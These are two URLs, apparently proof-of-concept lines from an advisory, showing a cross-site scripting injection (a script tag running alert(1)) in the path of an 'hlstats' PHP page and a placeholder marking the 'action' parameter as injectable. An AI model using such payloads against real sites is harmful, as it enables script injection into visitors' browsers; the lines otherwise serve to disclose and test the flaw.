http://www.example.com/hlstats/hlstats.php/>"><script>alert(1)</script>
http://www.example.com/hlstats/hlstats.php?action=[xss]